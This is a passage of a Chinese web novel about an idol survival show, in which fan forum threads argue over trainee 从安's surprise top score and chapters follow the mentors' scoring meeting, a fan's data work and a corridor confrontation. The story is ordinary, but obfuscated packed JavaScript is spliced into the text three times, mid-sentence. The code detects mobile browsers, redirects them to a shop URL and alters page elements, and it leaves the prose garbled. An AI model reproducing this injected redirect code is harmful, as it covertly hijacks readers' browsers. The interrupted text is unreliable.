*星光熠熠小组* 【从安95分??!!】 —— 【主楼】 不是,这个打分认真的吗?疯了吧 1楼 什么95分? 2楼 回复1楼 主题曲考核啊!从安95分!现在是全场最高分! 师启都才94分! 3楼 回复2楼 ??什么东西?比师启还高? 4楼 黑幕吗 5楼 回复4楼 包的呀 初舞台评级才C,现在一下就95分?谁信? 今天的直播我一直都在看,就从安跳的那个样子,比师启好在哪里? 6楼 我也被吓到了,真的好吓人,我都不敢相信这个分数 导师们怎么打分打得这么高 给A班打分的时候他们也没这么高啊 救命了 7楼 直播都敢这么明目张胆的做手脚,节目组疯了吧 亏我还觉得今年直播,会是很公平的一季,结果呢?节目组倒好,把我们观众当傻子 控分控得这么明显 怎么,不把你们的心肝捧到第一就不活了吗? 强捧遭天谴,小心反噬 8楼 师启94分,从安95分 谁敢信? …… 39楼 休息了?录制结束了? 这么快就结束了? 40楼 回复39楼 这是控分太明显怕了呗 连忙中断直播,开会讨论怎么办呢 哈哈,今天的直播全程我都录下来了,我看你们节目组要怎么说 41楼 从安表现得是挺好的啊,拿到这个分数正常吧 42楼 回复41楼 正常?你翻出他的初舞台看看呢!你再来说正不正常! 43楼 回复42楼 但是现在是主题曲考核啊! 所有人只看主题曲,跟初舞台没有关系 从安主题曲就是表现得好,拿分高有什么问题? …… 63楼 从安练习时长六年,他的实力从来都不差 初舞台从安的表现不好,但是初舞台从安才准备了多久?其他练习生初舞台又准备了多久? 拿初舞台来比,根本都不是在一个维度上 现在主题曲考核,所有人都是三天时间练习,每个人的实力不就都看出来了? 其他人的表现不好,那就是他们实力差,和从安有什么关系? 从安就是能在三天时间里面练得这么好 怎么,你担三天时间练不出来,就要来给三天时间能练出来的人泼脏水吗? 64楼 从安只花了一个小时扒舞的时候你们不来说黑幕 从安每天最早来练习室,最晚离开的时候你们不来说黑幕 从安被导师夸的时候,你们不来说黑幕 从安带着C班其他人一起跳舞的时候,你们不来说黑幕 从安教C班其他人唱歌的时候,你们不来说黑幕 怎么,现在从安拿第一了,你们来说黑幕了? 从安的表现是突然这么好的吗? 过去三天的练习室全程直播,从安怎么练习的,所有人都看得到,谁不知道从安练得好? 就你们眼瞎,现在还拿着初舞台来和主题曲比? 今天早上组里开的升班预测帖,从安的票数最高,现在还挂在首页,怎么,那么大的字你们也看不见? 65楼 好搞笑,说从安实力好的,从安是跳得比师启好,还是唱得比柯子晋好? 样样都拿不出手,怎么就全场最高分了? 66楼 回复65楼 你懂不懂什么叫舞台魅力?什么叫唱跳偶像? 如果你想听最顶尖的唱功,你去听晏尔啊 你想看最强的舞蹈,你去看厍贝啊 歌手、舞者,这些节目在等你 你怎么就来看星光熠熠了呢? 你既然只爱听歌,只爱看跳舞,不爱看唱跳,又何必来追爱豆?来看选秀? …… 79楼 这栋楼也太热闹了吧 这么多从安的粉丝? 80楼 回复79楼 估计是他们养成系的粉丝跑过来了 …… 【来预测一下今天主题曲考核大家的表现吧】 —— 【主楼】 三天练习时间结束,感觉大家的练习结果都还蛮明显的 谁练得好,谁练得坏,真是一眼就能看出来捏 A班那几个就不多说了 B班好些也很不错 C班也大大出乎我的预料 D班和F班幺蛾子最多,但看着也有好好练习的 我觉得A班的五个肯定还会在A班,B班也会有好几个冲上A班,然后司景曜那几个,可能会跑到C班和D班去 然后C班的话,感觉升班的也会不少,估计还能升到A班 至于D班,升到C班就顶天了 F班还是继续加油吧 这么全程看下来,感觉真的不一样 直播是个好习惯,希望以后的星光熠熠能继续保持 1楼 跟楼主的看法差不多 这次考核的看点就是看谁能升到A了 我觉得肯定有从安一个 2楼 一看到题目脑子里就冒出来从安两个字了 看了这三天直播的,都很难不关心从安的成绩吧 3楼 想不到从安不升班的理由 4楼 这个标题仿佛写着答案 5楼 回复4楼 从安 …… 29楼 从安练得这么好吗?这么多人都说他一定会升班 30楼 回复29楼 确实练得很好 更重要的是他还努力 真的太努力了 我都怕到倒在练习室 31楼 回复30楼 这么夸张的吗? 32楼 回复31楼 我说的已经不夸张了 他的练习强度,只比我说的更夸张,没有轻的 33楼 回复32楼 那岂不是不吃不睡一直泡在练习室了? 34楼 回复33楼 倒也不是 35楼 回复34楼 ??那是什么 36楼 回复35楼 我来说吧,从安是一直在练,一直一直在练,没有停下休息过 像其他人可能过那么几个小时,就会休息一会儿 但从安从来不停下,他只有吃饭,睡觉的时候会停下 然后他的练习过程,几乎是吹毛求疵,就是一个动作一个动作的抠,同一个动作能反反复复地跳上百遍,今天跳完了,第二天又会一样的跳,唱歌的时候也是,甚至表情管理也这样,在那里对着镜子一直笑啊,笑得我的脸都僵硬了 每一次练习都跟上台表演似的 我都想说不累吗? 我看得都要累死了 37楼 回复36楼 这么拼?也太强了吧 38楼 回复37楼 如果不是这么拼,最后也不会练得那么好啊 现在大家不都觉得他能升班嘛 昨天他最后一次练习的时候,唱和跳一起,确实很强 …… 【安利丨从安精选舞台推荐】 —— 【主楼】 从安,明辉娱乐练习生,今年十八岁,练习时长六年 [图片][图片] 虽然初舞台发挥失常,但孩子有实力,有努力,还有颜值! 在这里特此附上本人强烈推荐的舞台! 看一眼不耽误,看两眼不亏,看三眼,那就太感谢了! [第五纪一公舞台《《Night》》]从安的RAP初尝试,一袭白衣深夜低语,强推!!! [第一象限考核《FIRE》]就如歌名一般,从安如火焰般燃爆舞台,闪亮耀眼,不容错过! [第四象限考核《你好》]成员自作曲,让人一听就忍不住跟着笑的歌曲,满满的少年气!快乐小狗从安,你值得拥有!! …… 1楼 哇塞,好多舞台,这就是养成系吗?其他练习生能找出几张做了妆造的照片,都算是曝光量大的了吧? 2楼 能和从安比舞台,唯有那些参加了好多次选秀的回锅肉们了 3楼 看了几个舞台,感觉这个叫从安的还不错欸 长得又阳光又可爱,一双狗狗眼,笑起来让人完全心软软 实力也很不错,唱跳看着都不差 不错不错,看好他 4楼 不是,养成系来参加选秀真的公平吗? 看看这么多罗列出来的舞台,妆造、舞美、运镜、观众……每一个都是正式演出吧 那些参加选秀的练习生,有谁能有这么多的舞台经验? 从安不仅有舞台经验,还是整整六年的舞台经验< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16947741|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那些从没上过舞台,只在练习室练习的练习生,拿什么来比? 5楼 回复4楼 虽然舞台经验多,但也只是练习生而已吧 去年不也没出道吗 6楼 回复5楼 那更恶心了啊! 养成系出道失败的,跑到选秀里面来 怎么,选秀是什么垃圾场吗? 别人不要的,我们就要了? …… 47楼 别吵了别吵了 从安初舞台评级才C级 真是笑死我了 刚开始点进这个楼看到一连串那么多舞台推荐,还真是吓了我一跳 我还以为这个从安实力多好呢,结果也就这样嘛,怪不得出道失败了 还有,你们这些养成系的舞台,该不会还逐帧P图吧,不然这栋楼推荐舞台里面的从安,长得怎么跟今天直播里面的从安不一样? 又黑又壮,这也叫有颜值? 舞台妆和灯光骗骗自己就行了,这季星光熠熠是直播,可没人再帮你们P图了啊,可悠着点吧 …… 79楼 不是,从安还真长得和这栋楼里面的那些舞台一样啊? 几天不见,他怎么就帅成这样了? 那些舞台居然没P图? …… 85楼 等一下,这个从安怎么回事? 86楼 这个帖子怎么又被顶上来了 87楼 从安居然真的长得帅有实力 我还以为这栋楼的舞台都是在骗人 所以……从安有这种实力,初舞台怎么表现成那副鬼样子啊!!! …… 103楼 来了解一下这个从安 104楼 这小子这么厉害我以前怎么没看到他? 105楼 这几个舞台看下来,感觉这个叫从安的挺强啊 …… 【大大大冷门!从安居然第一了!】 —— 【主楼】 从安现在的分数是95分,全场第一,完全没人想到吧? 1楼 这哪里想得到?太吓人了,谁敢想? 2楼 我知道从安的分数不会低,但我没想到他的分数会这么高啊! 这是合理的吗? 导师评分的时候,真的没有商量过吗? 怎么每个人都打得这么高? 伊宾白还打了20分!认真的吗? 3楼 回复2楼 但是伊宾白打分一直都偏高 从安打20分也还行安保 4楼 不是,从安怎么就95了? 我不理解 他的实力比师启海强? 5楼 回复4楼 不知道哇,但看直播的时候,我的目光确实一直在从安身上移不开 6楼 回复5楼 是从安身边的人衬托的吧 和师启一起跳的,是A班的人,各个都十分优秀 但是和从安一起跳的,是C班的人,那些人自己都在看从安的动作,我们也很难不去看从安吧 这样一对比,差别不就出来了? 就显得从安格外厉害了 …… 【师启VS从安舞台对比】 —— 【主楼】 把师启和从安的主题曲都剪了出来拼到了一起 大家来看看吧 [视频链接] 1楼 楼主动作好快! 2楼 DD 3楼 先顶再看 …… 【还有人在看直播吗?演播厅是不是吵起来了?】 —— 【主楼】 直播间没关,演播厅的舞台前面有人跑师启面前说啥了? 听不到声音,但是 1楼 我去看了一眼,还真是,看起来很生气,确实有点像吵起来了 但是能吵啥啊? 2楼 师启的话,莫不是在说主题曲成绩的事情? 3楼 他们也觉得主题曲成绩有问题吗? 4楼 回复3楼 什么叫也?主题曲成绩怎么就有问题了?每个人的表现大家都看在眼里,我不觉得主题曲成绩有问题 5楼 回复4楼 没问题的话你急什么?我说有问题了吗?我就那么问一句,不知道谁上来就急了 怎么,我说到你担了?还是你做贼心虚啊? …… 29.打了很高的分 杜唐急匆匆赶到会议室的时候,茅安康等五名导师已经在里面坐着了。 看到姗姗来迟的杜唐,茅安康等人收起了脸上疑惑的表情。 录制结束的时间比预想的早,还有了一个突如其来的会议。 面对通告单上根本没有的突然安排,实在很难不让人多想。 “怎么了吗?”茅安康等杜唐坐好之后,开口问道。 “没什么。”杜唐摇头,双手放在桌面,在胸前交叉握起,视线从自己面前的五名导师身上一一扫过,短暂沉默之后,没有废话,直入主题:“我就是来问一下你们上午的评分标准是什么。” 在场的五名导师,杜唐都不是第一次合作了。 正是因为合作过,互相都感觉不错,所以这季星光熠熠,他才会找他们来当导师。 杜唐了解他们,所以今天录制之前,他只让他们自己根据练习生的情况打分就好。 他没想在这其中做什么手脚,也不屑于做这样的手脚。 做了这么多年选秀,杜唐深知,一个人能不能红,能不能出道,全看他自身的资质,或者说——命。 就算靠着一时的运作出道了,在残酷的娱乐圈,也很快会被吃得渣都不剩。 毕竟娱乐圈经久不衰的一句话:小红靠捧,大红靠命。 他从不是明星的生产商,他只是明星的搬运工。 一个人要红还是糊,他说的可从来做不了数。 他是来提供渠道的,不是来得罪未来顶流的。 杜唐可是公公平平做选秀的。 但是他没想到今天一个主题曲,最后却出来了个这样的分数啊! 这个分数拿出去,他拍着胸脯说绝对没有任何黑幕,绝对没有任何运作,明辉娱乐绝对没有给他任何好处,他自己是相信,其他人信吗? 拿去给明辉娱乐说,说不定明辉娱乐自己都不信呢。 杜唐面带微笑,只有他自己知道这笑容有多苦。 茅安康眉头一挑,察觉到些许不对。 但他没有多说什么,只回答杜唐的问题。 “我的标准很简单,看他符不符合在男团中的标准。选的是男团嘛,有男团的气质是最重要的。像师启,柯子晋,从安他们,都是这种男团公司练习了很多年出来的,练习的时候,也都是在组合里面练习,这种男团的感觉本身就十分强烈了,所以他们的分我都打得比较高。不过……”茅安康摩挲下巴,想起什么:“我对A班比较严格一些。”言外之意,就是对其他班没那么严格。 茅安康说完之后,杜唐点点头,没说话,短暂沉默之后,晏尔开口了。 “我就是听他们唱得怎么样,但是我跟茅老师有一点一样,我也对A班有点严格,高标准,高要求嘛。”说着晏尔有些不好意思地笑了笑,其他人也跟着笑了起来。 “我也是。”伊宾白点头,“他们是A班,而且还第一个出场,难免对他们抱有期望,不过他们都表现得很好,比我想象得还要好。”他给A班打的分,个个都不低。 布鲁的回答就更简单了,“我就看他们的感觉。” 他一个RAP导师,主题曲里面又没有RAP,他能看什么专业吗? 当然只能看整体,看感觉了。 谁给他的感觉更好,更燃,更炸,那谁的分就更高。 本来在舞台上表演,看的就是一个感染力。 布鲁觉得他的标准没毛病。 最后厍贝总结:“首先看节目完成度,有没有失误;然后看具体动作,有没有做到位;最后看整体,节奏、舞感、给人的观感……这样评的。” 一一听完,杜唐明白了。 “你们知道上午分数最高的人是谁吗?”他话题一转,突然抛出个问题。 闻言,茅安康挑了挑眉,直觉这个问题,或许就是他们坐在这里的原因。 布鲁的声音第一个响了起来,“是师启吗?” 知道要来当这一季节目的导师之后,布鲁也去了解了一下选秀和偶像以及练习生,了解得很粗浅,但也无数次看到过师启以及师启还在海外练习时,他的公司的名字。 天才练习生,偶像梦工厂,一层又一层的光环套在师启身上,让人在认识师启之前,就已经先入为主地产生了师启很强的印象。 “不是。”杜唐摇头,“是从安。” 从安两个字一出,面色平静的导师们,脸上都不由得都浮现出了一丝惊讶。 晏尔睁大双眼:“居然是他。” 她还记得初舞台从安的表现,不差,但也说不上好,一个无功无过的水平。 如果从安再小两岁,那样的水平自然毫无错处可说。 但现在的从安是在争夺出道的席位,那么,这样的水平就远远不够。 结果三天过去,他就成为全场第一了吗? 晏尔顿时明白了他们现在坐在这里开会的原因。 晏尔看了一眼茅安康,对方也正好看了过来。 两人没说话,但都明白了对方眼里的含义。 在场五名导师,她,茅安康,还有杜唐,三个人不说和从安有太深的交情,但也确实有那么一点关系。 他们自己是知道这点关系跟没有差别不多,但观众不知道啊。 别说是这种明面上的关系了,就算是私下里不知在哪个典礼多说了一句话,都能被粉丝们扩散人两个人关系很好,到了这种在选秀节目里,直接在接下来比赛起到决定性意义的环节,他们和从安的这点关系,已经足够让观众脑补出一场惊心动魄波澜起伏的娱乐圈潜规则了。 晏尔在心里叹了口气。 伊宾白有些意外,又没那么意外,他看向其他几名导师:“你们也给他打了很高的分吗?我给他打了二十分,他的表演在我这里就是,完全男团,十分完美,而且他才练习了三天,三天能有这种表现,我觉得20分完全没有问题。” 布鲁跟在伊宾白后面点头补充道:“而且他很抓人。虽然他唱的没有司景曜好,跳的没有车明杰炸,但他站在那儿,表演的时候,我的眼睛就是会跟着他走。” 布鲁没法说太多专业性的东西,就这样诚实地看自己的感觉。 厍贝对从安的成绩惊讶了片刻,然后很快就接受了,说得细致了一些:“从安的表演是完整且协调的。跳舞没影响他唱歌,唱歌时表情和肢体也没垮。我能感觉到他在享受舞台,而不是机械完成任务。这种整体感,在考核里非常加分。” 所以她给了从安19分。 之后茅安康和晏尔给出的评价也都差不多,几位导师你一言我一语,把打分时的心路历程摊开了。 伊宾白给出的分数最高,20分,布鲁,厍贝和茅安康的分数紧随其后,19分,晏尔给的分数是18分,每个人给出的分数都不低。 五个人加起来,从安总分95。 说完之后,几人互相看看,心里最后那点对于从安拿到第一的惊讶也没了。 如果一个人觉得从安好,那是自己的主观审美。 如果五个人都觉得从安好,那就确实是从安不错。 毕竟伊宾白可以给从安20分,但他一个人的20分,不能让从安拿第一。 简短的会议开始的突然,结束得也很快。 说完上午的评分之后,会议就结束了。 导师们离开会议室,只有杜唐留在这里。 他坐在椅子上,打开手机,都不用特意搜,推送和热搜词条已经炸了。 #从安主题曲95分# #从安超师启成第一# #星光熠熠评分公平吗# 点进论坛,热帖飘红。 【爆!C班从安主题曲考核95分空降第一!实时讨论楼!】 【理性讨论,从安这个分数是否合理?对比师启94分视频逐帧分析】 【剧本感是不是太重了?三天从C到第一?】 【纯路人,刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951811|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了切片,从安舞台确实不错啊,唱跳稳还有感染力】 【粉丝别吹了,明显是节目组捧皇族,等着看吧,后面肯定崩】 【实力还是黑幕?】 一个接一个的讨论,看得人目不暇接。 杜唐失笑。 这算什么?有心栽花花不开,无心插柳柳成荫? 谁能想到一个主题曲考核,就有这么大的热度? 杜唐关掉手机,哼着主题曲,心情颇好地离开了会议室。 * 下午的录制在一点准时开始。 剩下的C班、D班、F班练习生依次考核。 有了上午从安那枚重磅炸弹,后面的考核似乎都平淡了些。 不过C班的成绩比众人想象的都更好,有几个原本在C班中游的练习生,因为超常发挥或进步明显,拿到了八十多分,有望升入B班,引发了几波小范围欢呼。 而D班和F班则大多在及格线上下徘徊,偶尔有个别亮眼的,分数也难上八十。 全部考核结束时,是下午四点。 每个人的分数都出来了,接下来就该是万众期待的重新分班。 虽然结果都差不多心里有了数,但毕竟是一百个人的成绩,谁的记忆力也没有那么好能全都记下来,所以除了个别的几人,绝大多数人的成绩如何,大家还没有一个明确的判断,只等着再次分班之后,才知道更多人的水平出现了怎样的变化。 结果没等到转场录制的通知,却等到了录制结束,开始休息的广播。 练习生们东张西望,谁都没想到,天天熬到大半夜的他们,居然能在某天下午四点就下班了? 这是他们能拥有的东西吗? 四点,天都没黑,就能回去休息了? 他们居然能看到白天的太阳? 还能看到绝美的晚霞? 不过还没来得及起身,广播又响了起来。 练习生们顿时心安,又一屁股坐下了。 这才对嘛,下班是不可能下班的。 天天录到半夜才是正常作息。 “晚上没有录制安排,但七点半,全体演播厅集合,观看节目第一期正片。”工作人员补充道。 话音一落,演播厅内又热闹了起来。 “广播里面说什么?正片?第一期正片?”有人蹭地一下就跳起来了。 “我的天哪,节目这么快就播了吗?”有人东张西望,不敢相信。 练习生们都在互相讨论,不敢相信自己听到了什么。 他们来参加节目,等待的就是这一天,期待的就是这一天。 节目没播出之前,每个人心里都藏着自己能火的希望,每个人都憧憬着自己被看到,被选择,被投票,然后站在那充满鲜花和掌声的舞台,在万众瞩目下出道。 而现在,这份希望,将迎来它的开始。 尽管这季节目开创性地采用了直播的形式,但能一天到晚始终在直播间观看直播的人终究是少数,绝大部分观众,还是会等待节目的播出,或者刷些直播的切片。 节目正片,才是他们和观众见面最重要的地方。 表现如何,镜头多少,会不会被选择,就看今晚的正片播出了! 从安坐在座位上,听到广播里传出的声音,也不由自主地激动。 虽然录制了不少节目,去年的出道综艺规模更是不比这季星光熠熠差,在屏幕里看到自己的次数,更是数不胜数。 但再次的被选择,再次的争夺出道,让从安又紧张又向往。 去年的失败让他痛苦,饱受折磨。 今年再次站上同样的舞台,他看似强大,充满自信,但只有从安自己知道内心的不安。 他害怕面对相同的结局,他恐惧看见舞台下为他而来的人那一张张哭泣的脸。 今天晚上节目开播,这次,他会迎来一个好结局吗? 从安看向舞台上那巨大的屏幕,抿起了唇。 30.节目上线 踩着夜色,伊霜急匆匆地赶往宿舍。 作为即将期末周的大学生,伊霜这几天哪怕再想看星光熠熠的直播,也没有办法。 只能在每天晚上回到宿舍之后,刷一下同担们剪辑出来的从安直播切片,然后再看看大家总结的,从安每天做了什么事情,就没有时间做别的事情了。 今天周六,不仅是休息日,更是节目第一期上线的时候。 为了晚上能有时间专心看节目,伊霜一大早就赶往自习室学习。 可能心里有紧张感,学习的效率也格外高,中间既没有走神,也没有拿出手机玩。 最后比预定时间更早的,完成了今天的学习。 然后伊霜就火速收拾东西,去食堂点了晚餐打包,脚步匆忙地回宿舍。 虽然看起来很忙,但伊霜心里高兴极了。 她是从安的多年粉丝,去年从安出道失败,粉丝们都伤心极了,但伊霜知道,从安自己也不好受。 她至今仍然记得,出道夜当晚从安那努力克制,却依然不断留下的眼泪。 无数的鲜花和掌声围绕着小舞台上成团出道的那六人,而在另一侧舞台上的十人,留给他们的,只有昏暗的灯光和无尽的泪水。 伊霜不认为没能成团出道就是失败。 但很遗憾,在养成系的环境下,在长达五年多的养成里,没能成团的从安,在已成团成员的对比下,他就是一个实力不够,人气不够的失败品。 他注定享受不了鲜花和掌声,只能在幽暗的舞台一角,看着对面与他无关的聚光灯。 成团失败的从安回了家,回了学校。 没有继续回公司训练,公司也没有向粉丝给出从安的下一步规划。 现在回忆那一段从安沉寂的时光,不过才一个多月,但在当时的伊霜心里,每一分每一秒都充斥着恐慌。 从安会离开公司吗?从安会回归素人身份吗? 他还会想当爱豆吗?他还会在娱乐圈发展吗? 粉丝们每天都在向公司问这个问题,试图得到一个肯定的回复。 她们不在乎从安没有成团,她们只想要像以前一样,能够看到从安就好。 毫无终点的等待持续了一个多月,她们才重新看见从安出现在了公司。 那天从安在微博发了很漂亮的照片,双眼亮亮的,没有丝毫的颓靡。 那个时候伊霜就觉得,从安重新回来了。 之后从安发行了一首歌,他自己写的词。 那首歌里面写了从安失败的痛苦与挣扎,也写了他重新出发的渴望。 从安原先不安定的粉圈安定下来,她们再次和从安有了新的目标。 虽然还不知道这个目标是什么,在哪里,但所有人都知道,从安不会放弃,那她们,当然也不会放弃。 而现在,就到了再次出发的时候了。 伊霜拿出手机,手机屏幕上是飞快闪过的群消息通知,一条一条的,都在讲着同一件事—— 主题曲第一。 伊霜脸上浮现出笑意,再抬头,她的脚步更快了。 不再走,开始跑了起来。 回到宿舍时,时间刚好。 室友们有的在床上休息,有的坐在下面看综艺,玩游戏。 伊霜动作很快地给电脑插上电源,打开绿洋影视的网站,把晚餐拿出来放在桌上。 等换上睡衣在桌前坐好,时间来到七点。 《星光熠熠第七季》第一期,正式上线! 伊霜唰地一下就点了进去。 一片黑色的背景中,四周亮起星星点点的亮光,它们不断汇聚,在正中间聚合成一个闪烁的金色LOGO。 一百名练习生的脸一一闪现,伊霜的视线第一时间锁定从安。 他在一个角落。 利落的短发,只遮住一点额角的刘海,浓眉,大眼,是伊霜无比熟悉,却又有些陌生的模样。 几个月不见的人,脱离了精致的妆造和严苛的镜头要求,从安的肤色变黑,轮廓变得圆润,让伊霜从中窥见了一丝从安潜心学习的那几个月,脱离了练习生的身份,回归到平凡生活中的模样。 如果从安不曾被公司发掘,不曾成为练习生,或许他每一天都会这样,顶着一头只比寸头长一点的短发,天天奔跑在篮球场上把自己晒得黝黑,爱吃的他再也不用控制饮食,每天想吃什么吃什么,然后让自己长得无比健康。 接着高中毕业,成为一个‘体育男大’。 片头一闪而过,画面迅速变换。 宽阔演播厅里,金字塔形的阶梯座椅由下至上,最后停留在顶端那华丽的王座之上。 镜头缓缓下移,一个接一个座位出现在画面中,直到第九张椅子入镜。 九张座椅,九个席位——最后成团的九个名额。 伊霜呼吸一滞,心脏鼓动。 “欢迎大家来到……”莫烟的声音响起,画面上容貌昳丽的女星缓缓走来,弹幕不间断刷过,满溢对莫烟的溢美之词。 伊霜匆匆看了两眼,确定没有从安的画面,拿出手机打开微博。 刷新主页,互关的同担们已经动作很快地截取出了属于从安的画面,不断地在进行转发, 伊霜没有多看,点进超话,需要做数据的微博已经被总结了出来,她娴熟地点击进去,一一点赞转发留评,在每一个有从安出现的评论下,增加一个自己的赞。 在五代长达五年的养成时间里,伊霜从一开始对数据的不屑,到后来的摸索,再到最后的信手拈来……五年时间,成长的不仅是从安,还有她们这群和从安一同长大的粉丝。 再点进热搜榜,节目组为节目预热买的热搜已经挂在了热搜榜上,伊霜点进话题,发布微博,配上自己喜欢的从安美图,附上对从安的简单介绍,发布,一条既增加了话题热度,又蹭上了话题热度,还安利了从安的微博新鲜出炉。 这样的数据工作,伊霜不知道自己做了多少次,如果不是这些天忙着复习,从节目直播的第一天起,她就会开始做这样的事情。 但无论从哪一天开始,能做多少天,只要多一个赞,多一条评论,多一个微博,都是实打实的数据。 无论什么时候开始都不算晚,无论做多少数据,都是对从安的支持。 伊霜动作不停,目光时不时瞟一眼电脑屏幕,直到熟悉的身影出现,她才停了下来。 画面里,从安推开门出现在了镜头前。 脸上挂着灿烂的笑,信步走到桌前,简单观察过后,拿起了A的贴纸,贴在了胸前。 “你为什么选择这个等级?” 画面里的从安表情不变,开口的回答顺畅又迅速,仿佛在心里说过无数遍:“我觉得这是对成团组实力最基本的要求,我的目标是成团,所以我选择了这个等级。” 伊霜看着画面中从安的脸。 从安的眼神很坚定,说话很坚定,甚至就连他站在那里,都透着一股破釜沉舟的气势。 变得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968144|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不像伊霜记忆中的从安了。 伊霜嘴角一抿,有点想哭。 * 第一期节目上线之后,数据大好,直到半夜,各平台榜单上,都还是节目的热搜。 从最直接的#星光熠熠#话题,到节目中练习生表现的话题,各种讨论不胜枚举。 三个小时的节目,播出了所有练习生的初舞台,虽然其中有些练习生的初舞台,因为时长原因被剪掉大半,但因着节目是直播,所以虽然正片中没有,但总有观众将所有练习生的初舞台视频都发布在了网络上。 只是节目组不将这些人的初舞台放完整,也总归是有理由,没那么精彩,没那么有效果等等,总之现在完整的节目虽然是有了,但数据也不怎么好。 而节目组完整放完的舞台,正片中分明看过了,这些直播的切片,数据居然也不错。 而那些早就话题度满满的练习生,他们的初舞台视频,数据更是和其他练习生有断层的差距。 “我靠,从安的初舞台视频播放量居然最高!” 从安一上楼,就听见角落里传来了自己的名字。 节目从七点开始播,连续看了三个小时,十点结束后,大半练习生都回了宿舍。 刚刚考核结束,还刚看完第一期节目,今天晚上的基地内,充斥着一股焦虑中掺杂着轻松的味道。 紧张赛制里短暂的喘息时刻,让录制结束后的练习生们,不约而同地选择了休息。 从安却不一样,他没有跟随大部队离开,而是上了楼,打算找一间练习室练习。 今天的录制时间不长,而且除了上午的考核,下午和晚上都是坐着,比起激烈的体力运动,更多主打一个提供情绪价值。 比起身体的疲惫,现在更加疲惫的是精神。 这样的状态,不会影响舞蹈的练习。 主题曲考核只是开始,接下来摆在他们面前的还有主题曲录制。 根据节目组一开始公布的规则,分数最高的练习生,将会成为主题曲录制的中心位。 从安关注了其他人的分数,没人比他的分数最高,所以不出意外的话,他将会是主题曲中心位。 那么,他就要拿出能够匹配这份中心位的实力。 更多的练习,更好的表现,从安不觉得自己现在到达了最好的状态。 却没想到,没有回宿舍,而是上楼的练习生不止他一个。 “他那些粉丝刷的吧,我真是服了。”另一道声音响了起来,语气里充斥着不满。 从安顺着声音传来处看去,走廊上一片空荡,只有拐角的尽头有一个杂物间。 杂物间里没有镜头,也没有收音,是练习生们想要躲避镜头时选择的不二之地。 从安走了过去。 脚步声在寂静的走廊蔓延,随着从安的靠近,杂物间里的说话声渐渐停了下来。 等从安站在杂物间门外时,杂物间里一片安静,仿佛刚才从安听见的说话声,只是他的错觉。 从安推开门。 和站在门口的两名练习生正对上视线。 “从……从安?”门后的练习生愣了一下,尴尬一笑:“你怎么在这里?你要进来吗?”说着他侧开身,让开了进门的位置,“你进来吧,我们刚好要走了,哈哈。” “我听见你们说话了。”从安看了一眼面前练习生的胸牌,D班的李荣和秦海滨,没有丝毫印象,没有半分交集,“你们最好是在对我不满,而不是对我的粉丝。” 31.分班结果 杂物间里空气凝滞了一瞬。 李荣脸上的尬笑僵住,旁边的秦海滨下意识往后退了半步,脚跟磕到废弃的旧灯架上,发出哐一声响。 “我……”李荣张了张嘴,想辩解,但对上从安没什么情绪的眼睛,话卡在喉咙里。 刚才在背后议论的底气早泄光了,只剩下一股被抓包的慌乱和难堪。 从安没进去,就站在门口,目光在两人胸前的D班名牌上扫过,又落回他们脸上。 “成绩不满意,觉得自己被剪了镜头,心里憋屈,想骂人——”从安的语气很平,像在陈述一件再普通不过的事,“这些我都能理解。节目就是这样,有人被看到,有人被忽略,运气、实力、甚至长相,都可能成为理由。” 他顿了顿,声音冷了点:“但别扯上粉丝。” 李荣和秦海滨脸色更白了。 他们刚才确实提了一句“粉丝刷的”,但那更多是情绪化的抱怨,没想到会被正主听见,更没想到从安会为这个较真。 “她们做数据,打投,安利,是因为喜欢我,希望我能被更多人看到。”从安看着他们,眼神很静,却有种不容置疑的力道,“这是她们表达支持的方式,跟你们在练习室流汗、在镜头前表现,没有本质区别。你可以质疑我的实力配不配得上这个分数,这是你的自由。但说她们刷……” 他略微停顿,吐出两个字:“不配。” 李荣的脸涨红了,一半是羞恼,一半是被这话里的轻蔑刺伤。 他想反驳,想说“本来就是刷的”,但看着从安那双黑沉沉的眼睛,话到底没敢说出口。 秦海滨更是低着头,恨不得把自己缩进墙角。 从安没再说什么,往后退了半步,顺手带上了杂物间的门。 “咔哒”一声轻响,隔绝了里面两个面红耳赤的人。 走廊恢复寂静。 从安在原地站了两秒,深吸一口气,把刚才那点不愉快的情绪压下去,转身继续朝练习室走去。 心跳有点快,但不是因为紧张或生气,是另一种更清晰的感觉。 他得变得更强大,强到让所有类似的质疑都变成笑话。 不止为自己,也为那些在屏幕另一端,为他熬夜做数据、跟人争论、满怀期待的人。 * 第二天一早,练习生们齐聚演播厅,进行今天的录制。 气氛不轻松,虽然不少人在笑着,嘴里还说些很跳脱的话,但在镜头捕捉不到的空气里,飘荡着紧张压抑的氛围。 